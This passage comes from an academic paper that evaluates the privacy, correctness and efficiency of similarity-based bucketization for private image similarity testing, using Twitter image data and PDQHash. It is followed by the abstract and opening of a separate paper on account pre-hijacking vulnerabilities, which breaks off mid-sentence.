the game with probability greater than or equal to 0.5, and so
the normalization maps to the range [0,1]. (This corresponds
to the classic Gini coefficient.)

Possible predicates. We focus on the matching predicate
in our analyses. An adversary chooses an image wadv, and
wishes to determine if the client request Emb(wc) corresponds
to an image that is very similar to wadv, i.e.,F(wc)=F(wadv).
Had the adversary the confidence to assert that there’s a match,
they can recover the content from the submitted request. Such
an attack is trivial in hashing-based similarity testing services,
when the clients are required to submit similarity hashes as
their requests. That said, our framework can be used to analyse
other predicates. For example, an adversary may want to infer
if q different client requests all correspond to similar content.
We leave such analyses to future work.

Discussion. We have omitted placing computational limits
on adversaries, which would be useful in cases where embed-
ding schemes rely on cryptographic tools — our mechanisms
do not. A computational treatment is a straightforward exten-
sion to our framework. The security games underlying our
measures are conservative, and in particular we assume that
the adversary has perfect knowledge of the distribution D as
well as D’s support, which is unlikely in practice. While we
do not explicitly model side information that an adversary
might have about a client’s image, it is possible to include it

indirectly in this framework, for example, by changing the
distribution or modifying the privacy predicate.

Bayes optimal adversaries. To allow simulations that eval-
uate privacy, we focus on adversaries that maximize ad-
vantage. Recall that we assume that the adversary knows
the distribution D from which the clients are sampling
images for their requests. Upon receiving client submit-
ted requests p = Emb(w), the Bayes optimal adversary
computes the exact likelihood of the predicate being true
— Pr [ f (w) = true | Emb(w) = p], probabilities are over the
choice of w being sampled fromWq and coins used by the
executions of Emb.

The Bayes optimal adversary for the precision metric,Apre,
chooses a threshold Tadv, such that Apre(w) = true if and
only if Pr [ f (w) = true | Emb(w) = p]> Tadv. The adversary
may choose Tadv to maximize ε

r>ρ
prec. A similar strategy can

be used by Aacc. However when f (w) = true is especially
rare, the adversary may achieve larger εacc by predicting all
predicates using the majority class, f (w) = false. When doing
so, the optimal εacc is zero. Note that in our simulations we
consider all possible threshold values for the sampled dataset,
and report on the one that provides the best success rate. A
real attacker would have to pick a threshold a priori, meaning
our analyses are conservative.

The Bayes optimal adversary for Aauc doesn’t have to
choose a threshold Tadv. The adversary is given two scenarios
to rank: wtrue and wfalse, one has f (wtrue) = true and the other
has f (wfalse) = false. The adversary wins the game when they
correctly rank the true scenario over the false one, i.e., when
Aauc(ptrue) > Aauc(pfalse). As Emb(p) is the only informa-
tion that the adversary gained from our SBB protocol, the
optimal strategy to utilize the information is hence to use
Pr [ f (w) = true | Emb(w) = p] as Aauc(p).

5 Balancing Security, Correctness, Efficiency

In this section, we demonstrate how to balance security, cor-
rectness and compression efficiency of SBB when using the
LSH-based coarse embedding scheme ELSH . We do so via
simulations using real-world image sharing data collected
from social media sites. Using our framework, we evaluate
the security of ELSH with varying parameter settings. We then
fix the security requirement and explore the trade-off between
correctness and compression efficiency.

5.1 Experimental Setup

Data collection. Recall that our deployment scenario in
Section 2, an ideal dataset should represent the image sharing
behaviors among users on an end-to-end encrypted messaging
platform. However, data of one-to-one shares among users
on any private messaging platform is by definition, private.
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Figure 4: T -Neighborhood size distribution for different T .

Hence, we sought a public dataset that may act as a stand-
in for our experiments. As the dataset is publicly available,
our experiment did not require review from our IRB office.
On Twitter, users may retweet the content that they want to
share with their audience. We consider retweets on public
Twitter as a proxy for user sharing in private social network.
Furthermore, the problem of misinformation, which motivated
our study, is prevalent on Twitter [33].

We were able to use a dataset from previous work [34, 36]
that contains Twitter interactions with a group of US polit-
ical candidate accounts between September 13, 2018 and
January 6, 2019. The dataset includes 1,190,355 tweets with
image URLs, however, by the time of downloading images,
only 485 K images were successfully retrieved. We encode the
retrieved images with PDQHash. There are 256,049 unique
PDQHash values in total. We collect the total number of
retweets of each tweet in November 2019: the data was avail-
able for 13% of the tweets. The total number of postings and
retweets of the images we retrieved adds up to 1.2 million.
We simulate a workload for similarity testing as follows. Any
tweet and retweet with a valid image is considered as a client
request to our system. Hence, this experimental set has 1.2
million client requests with 256 K unique PDQHash values.

Dataset statistics. Users on social media share similar im-
ages frequently. The T -neighborhood size of an image w is
the number of images that are T -similar to it. Two images are
T -similar if and only if their similarity embeddings have a
Hamming distance smaller than T . We choose the values of
T according to the recommendations from the white paper on
PDQHash [1], where 32 and 70 were specified as the lower
and upper bounds of recommended similarity thresholds. We
also include T = 0 and T = 64 for comparison.

Figure 4 shows the distribution of T -neighborhood
sizes (shades of color) of the images in client requests, with
different T (in different rows). The lightest shades (left) are
requests with neighborhood size of one, i.e., the neighborhood
only contains the single image. The following darker shades
are the images with neighborhood size in the range (1,10],
(1,100], and (100,∞). The bottom row shows the neighbor-
hood size distribution with T = 0. In our dataset, most of the
images in the client requests (84%) share the same similarity
embedding with more than one, but fewer than 10 neighbors.
The distributions of neighborhood size are mostly similar to
each other, especially for T = 64 and T = 70. Naturally, with
a larger threshold, there are more requests containing images

with a larger neighborhood size. For example, only 2.85% of
all request images have a neighborhood size larger than 100
with T = 32 (third row from top, darkest column with purple),
while 5.23% of the requests satisfy the same condition when
T = 70 (first row from top, darkest column with purple).

Implementation. We compare the privacy of SBB when
using ELSH with different embedding lengths d to the baseline
method EcPDQ. We focus on the security guarantees against
the matching attack and explain our implementation details.

We formally define the matching attack as π
wadv
match =

(D,W, f wadv
match), where D is the distribution overW that the

client requests are sampled from and wadv is an image cho-
sen by the adversary. For any client submitted request with
an image w, the adversary wishes to learn the value of
f wadv
match(w). We have f wadv

match(w) = true if and only if the cor-
responding PDQHash of the two images are the same, i.e.,
F(w) = F(wadv). When trying to match the client image to
wadv, an adversary who receives the client request through
a bucketization protocol is able to filter out images that are
not in the bucket. When the client image is in fact similar to
wadv, it should most likely be included in the same bucket by
definition of correctness. In this case, a wadv whose similarity
hash value is shared more frequently than any other image in
the same bucket may boost the adversary’s confidence in as-
serting that the client image is a similar match. Hence, having
an image with a more popular hash value as wadv increases
the adversarial advantage. In the following experiments, we
use the image that has the most popular F(w) as wadv. The
same similarity hash appeared in 0.2% of all requests.

To evaluate the privacy guarantees provided by ELSH and
EcPDQ, we iterate over all requests in our dataset and simulate
the client, server, and adversary behavior, to compute the
security metrics εacc, εauc, and εcond

prec .
Coarse PDQHash embedding scheme (EcPDQ). Recall

the algorithm of EcPDQ described in Section 3. The embed-
ding algorithm EmbcPDQ takes an image w as an input, and
follows the PDQHash algorithm but with modified parameter
settings, to generate a 16-bit coarse PDQHash. This allows
coarse grained similarity comparison. When receiving a re-
quest p = Emb(w), the Bayes optimal adversary follows the
strategy as described in Section 4. To be specific, the ad-
versary computes the likelihood of the predicate being true,
Pr [F(w) = F(wadv) | EmbcPDQ(w) = p], and makes a binary
prediction based on the computed likelihood.

LSH-based embedding scheme (ELSH ). Recall that in
Figure 2, the LSH-based embedding scheme ELSH consists
of two algorithms EmbLSH and SimLSH . EmbLSH takes an
image w as an input, and outputs the selected indexing func-
tion and the resulting coarse embedding. To be specific,
EmbLSH(w) randomly selects a length d indexing function
I from I, and computes p̃ = Flipγ(I(F(w))). The function
is parameterized by two parameters: the length of the index-
ing function d and the bias γ to flip an index that was chosen.
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Figure 5: Left: Simulation results of the three security metrics, evaluated on (1) ELSH with embedding length d from 8 to 16
(round markers), γ = 0 and (2) EcPDQ (diamond markers in red box). Right: The conditioned precision metric ε

r>ρ
prec of matching

attack, at different recall threshold, with d = 9 and varying γ. Error bars in both plots represent the 95% confidence interval.

Note that d is also the length of the coarse embedding. SimLSH
takes the output from EmbLSH and a dataset B as input, and
outputs a candidate bucket as an output. The function has
one parameter k, a coarse threshold to choose items for the
candidate bucket.

We analyse the security guarantee of ELSH against the
Bayes optimal adversary under the setting of a match-
ing attack π

wadv
match. When receiving a request p, as in p =

Emb(w), the Bayes optimal adversary wants to predict
f wadv
match(w) = true. The adversary bases their prediction on

Pr [F(w) = F(wadv) | EmbLSH(w) = p], and computes the
probability by using all the information that is revealed to
them: the indexing function I, the resulting coarse embed-
ding p̃ and the added noise γ. We define the distribution DF
of similarity hashes of images sampled from D as follows:
DF (x) = Pr[F(w) = x] = ∑

w′∈W,F(w′)=x
D(w′).

Theorem 1. Let ∆I(v, p) = ∆(I(v), p) for a similarity hash
v ∈ {0,1}`. Consider a fixed image wadv ∈W and a sampled
image w←$ D . Let vadv = F(wadv) and v = F(w). Then

Pr[v = vadv | Emb(w) = (I, p)]

=
γ∆I(vadv,p) · (1− γ)d−∆I(vadv,p) ·DF (vadv)

∑
v′∈{0,1}`

γ∆I(v′,p) · (1− γ)d−∆I(v′,p) ·DF (v′)
,

where the probability is over the coins used by Emb and the
choice of w sampled from D .

We prove this theorem in the extended version [35]. When
analysing the security guarantee of ELSH , we vary the pa-
rameter settings of d and γ only, as k has no impact on the
adversarial advantage. For any choice of d and γ, we randomly
choose an index function I, and then execute the protocol for
all requests in the dataset. We fix I in the simulation because
this information is revealed to the adversary and the adversary
computes the likelihood conditioned on the indexing function.
We first repeat this process for at least 10 times. For parameter
settings that result in large fluctuation in the results, we re-
peat for another 10 iterations. We were able to obtain a stable
estimate for all experiments after at most 20 iterations.

5.2 Privacy of SBB

Using different security metrics. To obtain a broad un-
derstanding of the information leakage from our protocol,
we present all three security metrics εauc, ε

r>ρ
prec, and εacc in

Figure 5 (left). To be specific, we show the results of using
(1) ELSH without added noise (i.e., γ = 0), but with varying
embedding length d, and (2) EcPDQ, a baseline method that
embeds a client request into a 16-bit coarse PDQHash. The Y
axis denotes the value of the security metrics, ranging from 0
to 100%. The X axis denotes different methods used. From
left to right, we list ELSH with d ranging from 8 to 16 (with
round markers). In the red box, to the very right, the dia-
mond markers represent the security metrics for EcPDQ. A
naive baseline of using the plaintext similarity embedding (as
mentioned in Section 2) achieves 100% for all security met-
rics (not included in figure).

In our setting, accuracy measures the adversary’s perfor-
mance in predicting the correct class; precision measures the
adversary’s confidence in predicting the positive class; AUC
measures the adversary’s ability in differentiating negative
classes from positive ones. Our dataset is highly skewed, with
more negative predicates than positive ones: only 0.2% of all
requests trigger positive matches. This property may lead to a
biased view when measured by certain metrics.

Accuracy. In datasets with a skewed distribution, a triv-
ial algorithm that always outputs the majority class, i.e.,
f wadv
match(w) = false, may achieve higher accuracy than any

meaningful algorithm that tries to differentiate positive cases
from negative cases. In fact, in some cases, when experiment-
ing with ELSH with d = 8, we have εacc = 0 (Figure 5 on the
left, green markers). This indicates that the adversarial advan-
tage as measured by εacc was based on the performance of the
trivial algorithm, hence was considered as none. Meanwhile,
other metrics (εauc and εr=100%

prec ) show that the adversarial
advantage is non-zero, e.g., εr=100%

prec = 37% for d = 8. Both
EcPDQ and ELSH allow the adversary to have perfect accuracy
improvement when performing the matching attack when of
similar coarse embedding length. However, applying ELSH
with a smaller coarse embedding length, e.g., d = 10 decreases
the accuracy improvement to 45%.
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Precision. When there’s no noise added in ELSH (γ = 0),
ε

r>ρ
prec remains the same regardless of varying recall thresh-

old ρ. We will expand on this point later. With the same
value of precision, a larger recall specifies more true posi-
tive predicates that the adversary may correctly classify with
high confidence, hence larger privacy damage. When using
ELSH , decreasing the length of coarse embeddings (d < 12)
decreases adversarial precision, improving security. However,
with embeddings of similar length, ELSH and EcPDQ both be-
have poorly (d = 15,16 compared with EcPDQ).

AUC. Regardless of the embedding schemes, εauc is almost
100%. The reason is that there are disproportionally many im-
ages for which the predicate evaluates as negative that can be
easily differentiated from positive ones. Hence, most images
with different PDQHashes from wadv are assigned to different
buckets than wadv. Therefore, when measured by the adver-
sary confidence of differentiating negative cases from positive
ones, as most of the negative cases can be distinguished cor-
rectly, the embedding schemes behave poorly. Note that the
definition of AUC is in direct conflict with the utility of an
SBB scheme, which allows efficiently ruling out images that
are not similar with a given client input.

None of the metrics ensures a lower bound for another.
While testing on all metrics of adversarial advantage offers
a better understanding, it is more practical to focus on a spe-
cific security metric that suits the application context. We
focus on increasing the adversary’s uncertainty in classify-
ing a positive match. This aligns with previous work in the
machine learning community that recommends the precision-
recall metric over both AUC and accuracy, when evaluating
prediction algorithms on highly imbalanced datasets, espe-
cially when correctly predicting the positive class is valued
more [19, 47, 58, 65]. Hence, ε

r>ρ
prec fits our purpose the best,

and we focus on it in the following discussion.

Adding noise. We now evaluate the security of ELSH with
added noise, i.e., have γ > 0. We fix the value of d with d = 9
and present results for ε

r>ρ
prec in Figure 5 (right) with different

values of ρ. The results are similar for other values of d,
though the exact value of ε

r>ρ
prec differs. The Y-axis denotes

ε
r>ρ
prec and the X-axis denotes increasing value of γ.

Precision metrics conditioned with different recall thresh-
olds have different meanings. For example, there are 2,533
requests in total that contain images similar to wadv. The
metric εr>0%

prec measures the confidence of the adversary catch-
ing one true positive case out of all, while εr=100%

prec measures
the confidence of the adversary classifying all 2,533 cases
correctly. Naturally we have εr>0%

prec ≥ εr=100%
prec . On the other

hand, εr=100%
prec indicates more advantage for the adversary

when having the same value as εr>0%
prec . When no noise is

added (γ = 0), the adversary computes the same likelihood
for all true positive cases when following the strategy as de-
scribed in Section 4. Hence ε

r>ρ
prec remains the same regardless

of the recall threshold r. With increasing γ > 0, it gets harder

for the adversary to have high precision while maintaining
large recall (green, purple and orange lines).

Even a small value for γ improves the privacy of the client
request. For example, when γ = 0.05 and d = 9, the likeli-
hood that at least one value in a client request gets changed is
1−(1−γ)d = 37%. That means that in the majority of queries,
none of the client request bits will be flipped, nevertheless the
possibility that they could have been affects adversarial preci-
sion. For example, this results in a drop from 53% (leftmost
orange node in Figure 5, right chart) to 40% (second green
node from left) for ε

r>ρ
prec for ρ≤ 50%. There’s a more drastic

drop when ρ is larger. When the adversary has to identify
more than 50% of the true positives, they have to lower the
threshold Tadv in predicting a positive answer, this leads to
a larger likelihood of being impacted from the uncertainty
introduced by the flipping bias. Nevertheless, when having
γ≥ 0.05, ε

r>ρ
prec is smaller than 50% (noted by the horizontal

line) for all recall thresholds. This indicates that for any given
query that the Apre predicts as true, the adversarial success
rate is lower than randomly flipping a coin.

In summary, these results show that using coarse PDQHash
EcPDQ fails to provide privacy for clients. The naive solution
of revealing the plaintext similarity embeddings to the server
also provides no privacy. Different security metrics demon-
strate different aspects of adversarial advantage. We focus on
ε

r>ρ
prec as its definition fits our privacy goal the best. For our

purpose, we consider εr>0%
prec < 50% as our security goal, i.e.,

when the majority of an adversary’s positive guesses (given
that there’s at least one) are wrong. Given our empirical anal-
ysis, we suggest that a reasonable choice of parameters is
embedding length d = 9 and flipping bias γ = 0.05, but cau-
tion that the privacy performance may vary in practice should
the image distribution be very different (see Section 7).

5.3 Correctness and compression efficiency

We show the tradeoff between correctness and bucket com-
pression rate under the security parameters suggested above
(d = 9, γ = 0.05). We vary the value of the coarse threshold
k, which specifies the bucket being sent from the server side
when performing SimLSH . Formally, we refer to the notion of
correctness as ε in the definition of (T,ε,D)-correct, bucket
compression rate as α in that of (B,α,D)-compressing (see
Section 3). We use the dataset as D, which we refer to as
Dtwitter and all the possible values of PDQHash in the dataset
as B. We randomly select 2 million requests with replacement
and perform the protocol, and take the average value of the
correctness and compression rate from all iterations.

In Figure 6, we present the trade-off between correctness
and compression efficiency. We plot the correctness ε (Y-
axis) as the average compression rate α varies (X-axis). The
dashed horizontal line represents 95%. We experiment with
different definitions of similarity, i.e., with different values
of T , denoted by different colors. Each node represents a pa-
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Figure 6: Correctness (with varying similarity threshold T )
and compression rate tradeoff. The dashed line marks 95%.

Dataset Description Images

IMDB-WIKI [61, 62] Faces. 523,051
COCO [45] Common objects. 123,403
T4SA [71] Twitter images. 1,473,394
Webvision 2.0 [44] Flickr and Google images. 13,907,566

Table 2: Dataset statistics and description.

rameter setup with the resulting correctness and compression
rate. For example, the second blue node from left in Fig-
ure 6 represents that with k = 3, the resulting embedding
scheme is (32,98%,Dtwitter)-correct and (B,9.3%,Dtwitter)-
compact. Note that our notion of correctness is stricter than
the false negative rate defined in the prior work [42] for the
Kulshrestha-Mayer protocol, as the prior work measures the
rate of transformed images that are not mapped to the original
one, constrained on the fact that the PDQHash of the trans-
formed image stays in normalized Hamming distance 0.1 to
the original. The protocol [42] reported an average false posi-
tive rate of 16.8% on a different dataset. Using our definition,
this would be estimated as (25.6,83.2%,DKM)-correct.

In conclusion, these experiments suggest that for Dtwitter,
one can achieve εr>0%

prec < 50%, over 95% correctness for the
investigated values of T and 9.3% compression rate using
ELSH with d = 9, γ = 0.05 and k = 3. Hence, the resulting
scheme achieves an almost order of magnitude reduction in
the amount of data input to a second-stage similarity protocol.

5.4 End-to-end Simulation
We now perform end-to-end simulation on varying sizes of
blocklists B to demonstrate the improvement of execution
time and bandwidth for different similarity protocols com-
bined with SBB. For the experiments, we use parameters
suggested in Section 5.3, i.e. d = 9, γ = 0.05 and k = 3.

Datasets. To form varying sizes of blocklist B, we ran-
domly sample images from the datasets that were used in
prior work [42].4 The details of the datasets are listed in Ta-
ble 2. In particular, for each experiment, we generate B of the
requisite size by uniformly selecting images (without replace-
ment) from the union of the COCO, T4SA, and Webvision 2.0
datasets. For client requests, we sample half of the requests

4These are unfortunately not suitable for the privacy simulations of previ-
ous sections; they don’t include information about sharing frequency.

from the IMDB-WIKI dataset to simulate requests that don’t
match any image in the block list, and the rest from the gener-
ated B to simulate client requests that return a match.

For each set of experiments with a randomly generated B
tested with similarity embedding retrieval (the server simply
sends the embeddings of bucket entries to the client), we pro-
vide measurements over 40 iterations. With secure sketch, we
use 20 iterations and with 2PC protocols, we use 10 iterations
because these take significantly longer to run.

Implementation. We use an AWS EC2 p2.xlarge5 instance
with 61 GiB of memory and 200 GiB disk storage for the
server side computation. The instance is initialized with the
deep learning AMI provided by Amazon. An AWS EC2
t2.small6 instance with 2 GiB of memory and 64 GiB storage
in the same region acted as a client. The measured bandwidth
between the two instances was 1 Gbits/sec for both directions
and the network latency was 0.9 ms. The server side imple-
mentation uses Python and is parallelized using the GPU. The
client side implementation uses Go. For the secure sketch pro-
tocol, we use an oblivious pseudorandom function (OPRF),
implemented by the circl Go library from CloudFlare [27].

For the 2PC protocols our setup is identical except that
we use an AWS EC2 t2.large instance with 8 GiB of RAM
as the client to be able to handle the 2PC frameworks. The
bandwidth was measured to be 1.01 Gbits/sec from server
to client, 721 Mbits/sec from client to server. The observed
network latency was 0.3 ms. For both the CrypTen and EMP
frameworks, we used the computed functionality that checks
if there exists a hash among the server’s input that has Ham-
ming distance less than T to the client-provided hash. The
server’s input is the entire B, and the generated SBB bucket,
in the non-bucketized and bucketized setting, respectively. We
further XOR the output of this comparison with a randomly-
generated client-provided bit so that only the client learns
the result. For CrypTen, for simplicity we configured the
trusted-third party for Beaver triple generation to run on the
same EC2 instance as the client (so-called trusted first-party
mode). This is not a secure configuration but provides lower
bounds on performance (moving Beaver generation to another
server would decrease performance). Experimental results for
CrypTen should therefore be considered to be lower bounds
on performance for secure deployments. Note that our 2PC
prototypes are not optimized, and absolute timings would
be improved using custom protocols for our setting such as
the Kulshrestha-Mayer protocol [42]. However, it is unclear
if the protocol can be combined with SBB since it requires
generating all buckets at setup time.

Results. We present the average total execution time, av-
erage total bandwidth, and the speedup provided by SBB for
varying |B| in Table 3. The execution time and total band-
width do not vary much between client requests that match
images in B and those that do not. Many of the similarity

5https://aws.amazon.com/ec2/instance-types/p2/
6https://aws.amazon.com/ec2/instance-types/t2/
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|B| Execution Time (s) Total Bandwidth (MiB) Execution Time (s) Total Bandwidth (MiB)
No SBB SBB No SBB SBB No SBB SBB No SBB SBB

Similarity Embedding Retrieval Secure Sketch

218 0.76 (0.00) 0.02 (0.00) 18.41 (0.00) 0.21 (0.01) 1664.98 ( 870.78) 2.77 ( 0.17) 78.81 (0.36) 0.89 (0.05)
219 1.55 (0.01) 0.03 (0.01) 36.84 (0.02) 0.46 (0.15) 5702.44 (3049.44) 6.03 ( 0.41) 158.66 (2.39) 1.90 (0.14)
220 3.09 (0.01) 0.06 (0.02) 73.65 (0.00) 0.83 (0.06) – 12.09 ( 0.99) – 3.56 (0.26)
221 6.17 (0.01) 0.10 (0.01) 147.31 (0.01) 1.69 (0.12) – 26.70 ( 2.40) – 7.18 (0.55)
222 12.41 (0.07) 0.43 (0.99) 294.61 (0.03) 3.33 (0.25) – 61.99 ( 6.63) – 14.35 (1.17)
223 – 0.40 (0.02) – 6.70 (0.41) – 157.57 (14.41) – 28.40 (1.68)

CrypTen EMP

213 17.85 (0.18) 1.18 (0.31) 941.42 (0.37) 11.26 ( 1.64) 13.14 (0.06) 0.21 (0.01) 1520.63 (0.44) 17.14 ( 1.82)
214 36.65 (0.44) 1.33 (0.30) 1882.82 (0.87) 21.40 ( 2.14) 26.93 (0.98) 0.36 (0.03) 3040.57 (1.39) 34.52 ( 4.12)
215 71.76 (0.07) 1.55 (0.06) 3766.55 (0.81) 42.43 ( 4.06) 54.61 (1.26) 0.67 (0.03) 6079.48 (2.67) 70.45 ( 3.68)
216 147.10 (0.66) 2.19 (0.08) 7534.29 (0.90) 83.77 ( 6.96) 117.52 (8.11) 1.21 (0.14) 12158.00 (0.88) 133.42 ( 16.20)
217 – 3.55 (0.40) – 167.70 ( 14.69) – 2.42 (0.13) – 275.52 ( 15.32)
218 – 6.45 (0.40) – 347.53 ( 22.65) – 4.79 (0.28) – 551.26 ( 32.51)
219 – 13.77 (1.22) – 695.30 ( 45.49) – 9.63 (0.52) – 1097.53 ( 59.78)
220 – 27.89 (1.88) – 1386.84 (107.27) – 20.24 (1.26) – 2299.33 (143.63)

Table 3: Average time and bandwidth of similarity protocols without and with SBB for four different similarity testing protocols.
Dashes (–) indicate when execution failed due to poor scaling. Numbers in parentheses are standard deviations.

testing protocols do not scale well, and we denote by dashes
in the table experiments that failed to complete. Typically this
was due to the client instance running out of memory. In all
these cases, SBB was able to increase scaling to complete
executions with the available resources.

Our results show that SBB drastically improves the sim-
ilarity protocol’s performance, both in terms of execution
time and total bandwidth. For similarity embedding retrieval,
SBB provides a 29× speedup (|B|= 222) in execution time.
For large-scale datasets (|B| ≤ 223), similarity embedding re-
trieval with SBB returns the answer in real time, under 0.5
seconds. For the secure sketch protocol, the improvement
is even larger, the speedup is at least 601× for |B| = 218.
For 2PC protocols, the improvement provided by SBB grows
larger as B becomes bigger, when |B|= 216, the speedup in
execution time is 67× and 97× for CrypTen and EMP, re-
spectively. For |B|= 220, EMP with SBB takes less time than
the Kulshrestha-Mayer protocol (20.24s vs 27.5s), however
it requires larger bandwidth.

6 Related Work

Secure proximity search. Secure proximity search based
on general multi-party computation has been used in many
applications, including privacy-preserving facial recogni-
tion [24, 64], biometric authentication [8, 25], querying sen-
sitive health data [7], and more. However, these works don’t
scale sufficiently for our use case. More scalable solutions
include fuzzy extractors [20, 38], which give a small piece of
client information to the server, that does not leak information
about the secret, in order to derive secrets from noisy read-
ings such as biometrics. However, the security guarantee is
based on the assumption that the distribution of the secret (for

example, fingerprints) has enough minimum entropy, which
is not necessarily true for image distributions.

Private information retrieval. Chor et al. [14] introduced
the concept of private information retrieval, a type of protocol
that enables a client to retrieve an item from a database such
that the identity of the item is not revealed to the server. The
protocol requires clients to supply the index of the data item
that they are querying about for retrieval purposes. However,
this is unlikely to be applied to our use case. The most likely
solution for similarity lookup is content-based privacy pre-
serving retrieval [46, 66, 75]. Previous works [46, 75] in this
area assume three parties involved in this type of protocol, a
data owner, the client who queries the service and an actual
server where the service is hosted. The data owner encodes
images or other types of multimedia into feature vectors that
are further encoded with searchable encryption schemes and
used as indices. The server is made oblivious to the actual
content of indices and the content of corresponding data items.
The client queries the server by generating indices from their
images and receives the data items as answers. The threat
model doesn’t prevent the case when the data owner colludes
with the server, hence cannot be directly applied to our sce-
nario, where the data owner is the server.

Secure k nearest neighbors search. Another possible solu-
tion is to use secure k nearest neighbors search (k-NNS) to
look for similar items at the server side without revealing
client information. Most of the k-NNS solutions require a
linear scan of the database that is queried against. Recent
work [13] proposed a sub-linear clustering-based algorithm,
yet the solution requires significant preprocessing time for
each client. Similar to our work, Riazi et al. [60] used locality
sensitive hashing to encode client queries for efficient k-NNS.
Different from our approach, they preserved user privacy by
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converting the LSH encodings to secure bits. However, the
notion of security is different in their work, in particular, an
adversary can estimate the similarity of two given data points
based on the encodings. This makes the protocol vulnerable
to the matching attack, which we addressed in our work.
Location-based services. We draw comparisons between
our bucketization setting and that of location-based services
(LBSs). Andrés et al. [6] propose a privacy-preserving mech-
anism in which mobile clients send their noise-perturbed lo-
cations to a server in order to obtain recommendations for
nearby restaurants. One may view the noise-perturbed lo-
cation as a coarse embedding and the server-provided list
of restaurants as a similarity bucket. Similar to our coarse
embedding scheme, the mechanism of Andrés et al. suffers
from privacy loss when applied repeatedly to the same user
input. These connections suggest that our framework could
have applications to reasoning about LBS privacy. Conversely,
insights from location privacy may serve as inspiration for
improved SBB mechanisms.
Privacy measures. Prior work has proposed measuring pri-
vacy using an adversary’s expected error when making in-
ferences based on a posterior distribution on user inputs
[55, 67, 68]. Recent work has explored the Bayes security
measure [12], which is similar to εacc, but involves a security
game in which the adversary attempts to recover a secret in-
put as opposed to guessing a predicate on the secret input.
Local differential privacy [22] has also proven to be a popular
worst-case privacy measure, but often incurs high correctness
penalties. Although similar, these metrics can not be directly
applied to our scenario nor replace εauc and ε

r>ρ
prec.

7 Limitations

Our work naturally suffers from several limitations that should
be explored further before deployments are considered. Most
notably, use of an SBB mechanism fundamentally must leak
some information to the server to trade-off client privacy
for efficiency. In some contexts leaking even a single bit of
information about user content would be detrimental, in which
case our techniques are insufficiently private. We speculate
that leaking some information about client images is, however,
fundamental to achieve practical performance in deployment
for large B. How to provide a formal treatment establishing
that scaling requires some leakage and what that means for
moderation mechanisms remain open questions.

Second, our empirical analyses focus on matching attacks
for a single query, which excludes some other potential threats.
In particular it does not address adversarially-known corre-
lations between multiple images queried by one or more
clients. A simple example, mentioned in Section 3, is an
‘averaging’ attack against our LSH-based coarse embedding
in which the adversary obtains a large number of embed-
dings all for the same image w. Then the adversary can av-
erage out the per-bit noise and recover the granular embed-

ding F(w). We discuss simulation results for this scenario
in the extended version [35]. The results indicate that, simi-
lar to privacy-preserving mechanisms for location-based ser-
vices [6, 12, 55, 67], repeated queries on the same content
drastically weaken the privacy guarantee of SBB: an adver-
sary that sees multiple SBB outputs that it knows are for the
same image can obtain near-perfect matching attack precision
for almost all recall thresholds.

To address risk here, client software might cache images
they’ve recently queried. The client would not query the sim-
ilarity service if a new image is too close to a prior image,
and instead just reuse the cached result for the latter. Caching
may not be feasible in all cases, and doesn’t speak to cross-
user sharing of images, which may be inferrable from traffic
analysis should the adversary have access both to the simi-
larity service and the messaging platform. Another approach
would be to somehow ensure that the same noise is added
to the same image, regardless of which client is sending it.
This could possibly be done by having some clients share a
secret key, and use it to apply a pseudorandom function to
the image (or its PDQHash) to derive the coins needed for
the random choices underlying our coarse embedding. Here
an adversary’s εr>0%

prec advantage remains at 50% regardless of
the increasing number of repeated queries. But this doesn’t
account for other potentially adversarially-known correlations
across images (e.g., they are almost identical), and may be
fragile in the face of malicious client software. Moreover,
sending the same SBB embedding for the same image would
seem to increase susceptability to linking attacks in which an
adversary infers when two or more queries correspond to the
same image. We are unsure which scenario bears more risk
in practice. We leave the exploration of these mitigations to
future work.

A related limitation is the exclusive use of empiricism for
evaluation. While we focus on Bayes-optimal adversaries, it
would be preferable to couple empiricism with analyses pro-
viding bounds on adversarial success. While our definitional
framework provides the basis for proving bounds on, e.g.,
precision for particular data distributions, we do not yet have
proofs and it appears to be challenging. We emphasize that
such results cannot fully replace empirical work, because even
formal results would necessarily make assumptions about data
that must be empirically validated. Nevertheless, we consider
the empirical results presented in this initial work as a proof-
of-concept of the SBB framework and encourage future works
to further examine the theoretical bounds for this approach.

Finally, the public perceptual hash algorithms that SBB
relies on increases the risk of evasion attacks that seek to
modify images just enough to avoid detection. This risk seems
particularly acute when using a similarity testing protocol
that sends a bucket of PDQHash values to the client, as the
adversary could extract these values from a client to inform
their attacks. Allowing users to report misinformation images
to frequently update the database may mitigate this risk.
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8 Conclusion and Future Directions

In this paper, in order to allow efficient privacy-preserving
similarity testing, we defined the framework of similarity-
based bucketization and formalized a set of privacy goals that
are important to this application. We consider the informa-
tion that the adversary wants to infer from a client input as
the answer to a prediction task. An adversary’s advantage is
measured by their uncertainty regarding the prediction, using
metrics that are widely applied in machine learning.

Towards a realistic prototype for SBB, we focus on image
similarity testing. Driven by the privacy formalization, we ran
simulations on real-world social media data and analyzed the
SBB protocol’s security against a “matching attack”. The at-
tack refers to the scenario where an adversary tries to infer if a
client input is similar to an adversary-chosen image. Using our
framework, deployments can tune the performance/privacy
trade-off depending on the application context. We then test
SBB’s performance when composed with four similarity pro-
tocols with varying server privacy guarantees for the server
content. We show that the composition with SBB significantly
reduces the protocol latency and required bandwidth. While
further research is needed to address various open questions
and limitations of our results, we nevertheless believe that
SBB represents a promising approach to scaling private simi-
larity testing in practice.
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Abstract

The ubiquity of user accounts in websites and online ser-
vices makes account hijacking a serious security concern.
Although previous research has studied various techniques
through which an attacker can gain access to a victim’s ac-
count, relatively little attention has been directed towards the
process of account creation. The current trend towards feder-
ated authentication (e.g., Single Sign-On) adds an additional
layer of complexity because many services now support both
the classic approach in which the user directly sets a password,
and the federated approach in which the user authenticates
via an identity provider.

Inspired by previous work on preemptive account hijack-
ing [17], we show that there exists a whole class of account
pre-hijacking attacks. The distinctive feature of these attacks
is that the attacker performs some action before the victim
creates an account, which makes it trivial for the attacker to
gain access after the victim has created/recovered the account.
Assuming a realistic attacker who knows only the victim’s
email address, we identify and discuss five different types of
account pre-hijacking attacks.

To ascertain the prevalence of such vulnerabilities in the
wild, we analyzed 75 popular services and found that at least
35 of these were vulnerable to one or more account pre-
hijacking attacks. Whilst some of these may be noticed by
attentive users, others were completely undetectable from the
victim’s perspective. Finally, we investigated the root cause of
these vulnerabilities and present a set of security requirements
to prevent such vulnerabilities arising in future.

1 Introduction

User accounts have become a ubiquitous feature of websites
and other online services. Correspondingly, such accounts
have become valuable targets for attackers, and companies

∗Supported by a research grant from the Microsoft Security Response
Center (MSRC).

invest significant resources to prevent account hijacking at-
